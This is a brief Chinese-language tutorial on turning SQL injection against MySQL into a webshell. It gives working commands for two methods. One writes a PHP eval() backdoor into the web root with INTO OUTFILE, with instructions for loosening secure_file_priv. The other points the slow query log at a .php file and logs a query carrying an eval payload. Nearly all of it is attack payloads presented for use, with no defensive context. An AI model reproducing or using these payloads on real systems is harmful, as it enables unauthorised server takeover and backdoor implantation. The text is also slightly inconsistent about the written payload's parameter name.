SQL注入MYSQL中写入木马getshell的两种方法
into outfile直接写入木马文件
使用条件:
-
知道网站的绝对路径
-
secure_file_priv不能为null
-
拥有写入文件的权限
使用方法:
利用into outfile写入木马文件
select "<?php eval($_POST['cmd']);?>" into outfile "D:\\phpstudy_pro\\WWW\\shell.php"
如果执行成功,生成D:\WWW\shell.php,并写入
<?php @eval($_POST['pass']);?>
如果出现:提示错误[Error Code] 1290 - The MySQL server is running with the --secure-file-priv option解决办法
是因为mysql设置的权限的问题,mysql对通过文件导入导出作了限制,默认不允许。
show variables like '%secure%';
修改my.ini
secure_auth = ON
secure_file_priv = ""
利用日志文件写入木马
首先需要开启日志功能
set global slow_query_log=1;
其次设置日志存储路径
SET GLOBAL slow_query_log_file='D:\\phpstudy_pro\\WWW\\shell.php';
最后执行SQL语句
select '<?php eval($_GET[H])?>' or SLEEP(11);